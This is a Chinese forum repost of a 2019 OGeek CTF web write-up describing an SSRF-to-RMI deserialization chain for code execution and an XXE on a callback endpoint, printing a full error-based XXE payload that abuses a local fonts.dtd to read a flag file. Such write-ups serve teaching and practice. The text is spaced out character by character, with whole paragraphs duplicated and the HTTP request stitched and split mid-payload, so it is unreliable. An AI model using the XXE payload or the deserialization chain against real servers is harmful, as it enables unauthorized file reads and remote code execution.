搜索

[27706] 2019-10-31_OGeek线上CTF挑战赛web题详细WriteUp

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2019-10-31_OGeek线上CTF挑战赛web题详细WriteUp O G e e k 线 上 C T F 挑 战 赛 w e b 题 详 细 W r i t e   U p O S R C   O P P O 安 全 应 急 响 应 中 心   2 0 1 9 - 1 0 - 3 1 f e t c h e 由 于 给 了 源 码 ， W e b   服 务 ， 很 明 显 的 S S R F 漏 洞 ， 而 且 还 有 回 显 ： 这 里 的 S S R F 请 求 是 用 j o d d - h t t p 这 个 第 三 方 库 完 成 的 ， 跟 进 下   j o d d - h t t p   组 件 在 处 理 u r l 的 解 析 逻 辑 ： j o d d . h t t p . H t t p R e q u e s t # s e t
发 现 它 会 用 空 格 把 u r l 做 分 割 ， 并 将 空 格 前 面 的 部 分 当 作 h t t p 请 求 方 法 。 并 且 它 会 把 最 后 会 把 u r l 解 析 出 来 的 东 西 进 行 组 装 ， 构 建 s o c k e t 连 接 ， 这 个 过 程 没 有 处 理 特 殊 字 符 的 问 题 ， 导 致 可 以 注 入 换 行 符 ： j o d d . h t t p . H t t p R e q u e s t # b u f f e r
所 以 这 里 的 S S R F 表 面 上 看 起 来 只 是 个 单 纯 的 H T T P   G E T   S S R F ， 实 际 上 可 以 指 定 任 意 H T T P 请 求 方 法 ， 并 且 可 以 注 入 换 行 符 。 除 了   W e b   服 务 外 ， 还 本 地 启 了 个   R M I   s e r v e r ： 同 时 依 赖 组 件 里 有 缺 陷 库   C o m m o n s   C o l l e c t i o n s   3 . 2 . 1 ：
因 此 思 路 就 是 通 过   S S R F   攻 击   R M I ， 利 用   R M I   进 行 反 序 列 化 ， 完 成 远 程 代 码 执 行 。 根 据 M o r i t z   B e c h l e r 在 2 0 1 8 年 的 研 究 ， J D K   6 u 1 9 1 / 7 u 1 8 1 / 8 u 1 7 1   之 前 的 版 本 ， R M I   默 认 会 开 启   H T T P   t u n n e l   的 特 性 。 简 单 来 说 就 是 客 户 端 可 以 通 过   H T T P   P O S T   请 求 与   R M I   服 务 端 进 行 交 互 ， P o s t   B o d y   部 分 就 是 常 规 的   J R M P   数 据 包 。 参 考 ： h t t p s : / / g i t h u b . c o m / m b e c h l e r / s e r j s h t t p s : / / m b e c h l e r . g i t h u b . i o / 2 0 1 8 / 0 5 / 2 1 / J a v a - C V E - 2 0 1 8 - 2 8 0 0 / 所 以 可 以 利 用   R M I   H T T P   t u n n e l   的 特 性 ， 利 用 来 进 行   R M I   反 序 列 化 的 攻 击 ：
L o o k A r o u n d 详 细 描 述 解 题 过 程 、 每 一 步 必 须 附 带 截 图 、 解 题 过 程 中 用 到 的 工 具 在 文 档 中 说 明 、 解 题 过 程 中 涉 及 到 的 利 用 代 码 请 在 解 题 工 具 中 详 细 说 明 。 此 文 档 中 只 写 解 题 思 路 ， 其 他 内 容 不 在 此 显 示 发 现 / w e b s e r v e r / c a l l b a c k 路 径 请 求 存 在 X X E 漏 洞 ， 但 是 无 法 连 接 外 网 进 行 数 据 外 带 ， 本 地 D o c k e r   运 行   t o m c a t : 8 - j r e 8   环 境 ， 寻 找 系 统 中 存 在 的 d t d 文 件 其 中 f o n t s . d t d 文 件 可 进 行 利 用 发 送 如 下 请 求 数 据 包 ： P O S T   / w e b s e r v e r / c a l l b a c k   H T T P / 1 . 1   1 、 题 目 详 细 解 题 方 法 由 于 给 了 源 码 ， W e b   服 务 ， 很 明 显 的 S S R F 漏 洞 ， 而 且 还 有 回 显 ： 这 里 的 S S R F 请 求 是 用 j o d d - h t t p 这 个 第 三 方 库 完 成 的 ， 跟 进 下   j o d d - h t t p   组 件 在 处 理 u r l 的 解 析 逻 辑 ： j o d d . h t t p . H t t p R e q u e s t # s e t
发 现 它 会 用 空 格 把 u r l 做 分 割 ， 并 将 空 格 前 面 的 部 分 当 作 h t t p 请 求 方 法 。 并 且 它 会 把 最 后 会 把 u r l 解 析 出 来 的 东 西 进 行 组 装 ， 构 建 s o c k e t 连 接 ， 这 个 过 程 没 有 处 理 特 殊 字 符 的 问 题 ， 导 致 可 以 注 入 换 行 符 ： j o d d . h t t p . H t t p R e q u e s t # b u f f e r
所 以 这 里 的 S S R F 表 面 上 看 起 来 只 是 个 单 纯 的 H T T P   G E T   S S R F ， 实 际 上 可 以 指 定 任 意 H T T P 请 求 方 法 ， 并 且 可 以 注 入 换 行 符 。 除 了   W e b   服 务 外 ， 还 本 地 启 了 个   R M I   s e r v e r ： 同 时 依 赖 组 件 里 有 缺 陷 库   C o m m o n s   C o l l e c t i o n s   3 . 2 . 1 ：
因 此 思 路 就 是 通 过   S S R F   攻 击   R M I ， 利 用   R M I   进 行 反 序 列 化 ， 完 成 远 程 代 码 执 行 。 根 据 M o r i t z   B e c h l e r 在 2 0 1 8 年 的 研 究 ， J D K   6 u 1 9 1 / 7 u 1 8 1 / 8 u 1 7 1   之 前 的 版 本 ， R M I   默 认 会 开 启   H T T P   t u n n e l   的 特 性 。 简 单 来 说 就 是 客 户 端 可 以 通 过   H T T P   P O S T   请 求 与   R M I   服 务 端 进 行 交 互 ， P o s t   B o d y   部 分 就 是 常 规 的   J R M P   数 据 包 。 参 考 ： h t t p s : / / g i t h u b . c o m / m b e c h l e r / s e r j s h t t p s : / / m b e c h l e r . g i t h u b . i o / 2 0 1 8 / 0 5 / 2 1 / J a v a - C V E - 2 0 1 8 - 2 8 0 0 / 所 以 可 以 利 用   R M I   H T T P   t u n n e l   的 特 性 ， 利 用 来 进 行   R M I   反 序 列 化 的 攻 击 ：
L o o k A r o u n d 详 细 描 述 解 题 过 程 、 每 一 步 必 须 附 带 截 图 、 解 题 过 程 中 用 到 的 工 具 在 文 档 中 说 明 、 解 题 过 程 中 涉 及 到 的 利 用 代 码 请 在 解 题 工 具 中 详 细 说 明 。 此 文 档 中 只 写 解 题 思 路 ， 其 他 内 容 不 在 此 显 示 发 现 / w e b s e r v e r / c a l l b a c k 路 径 请 求 存 在 X X E 漏 洞 ， 但 是 无 法 连 接 外 网 进 行 数 据 外 带 ， 本 地 D o c k e r   运 行   t o m c a t : 8 - j r e 8   环 境 ， 寻 找 系 统 中 存 在 的 d t d 文 件 其 中 f o n t s . d t d 文 件 可 进 行 利 用 发 送 如 下 请 求 数 据 包 ： P O S T   / w e b s e r v e r / c a l l b a c k   H T T P / 1 . 1 H o s t :   w w w . e x a m p l e . c o m : 8 0 8 0 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   4 2 0 H o s t :   w w w . e x a m p l e . c o m : 8 0 8 0 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) C o n n e c t i o n :   c l o s e < ? x m l   v e r s i o n = " 1 . 0 "   ? > < ! D O C T Y P E   m e s s a g e   [     < ! E N T I T Y   %   l o c a l _ d t d   S Y S T E M   " f i l e : / / / u s r / s h a r e / x m l / f o n t c o n f i g / f o n t s . d t d " >     < ! E N T I T Y   %   c o n s t a n t   ' a a a ) >                 < ! E N T I T Y   & # x 2 5 ;   f i l e   S Y S T E M   " f i l e : / / / f l a g "
C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   4 2 0 r e n d e r < ? x m l   v e r s i o n = " 1 . 0 "   ? > < ! D O C T Y P E   m e s s a g e   [     < ! E N T I T Y   %   l o c a l _ d t d   S Y S T E M   " f i l e : / / / u s r / s h a r e / x m l / f o n t c o n f i g / f o n t s . d t d " >     < ! E N T I T Y   %   c o n s t a n t   ' a a a ) >                 < ! E N T I T Y   & # x 2 5 ;   f i l e   S Y S T E M   " f i l e : / / / f l a g " >                 < ! E N T I T Y   & # x 2 5 ;   e v a l   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   e r r o r   S Y S T E M   & # x 2 7 ; f i l e : / / / x x x x / & # x 2 5 ; f i l e ; & # x 2 7 ; > " >                 & # x 2 5 ; e v a l ;                 & # x 2 5 ; e r r o r ;                 < ! E L E M E N T   a a   ( b b ' >     % l o c a l _ d t d ; ] > < r o o t > < / r o o t >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理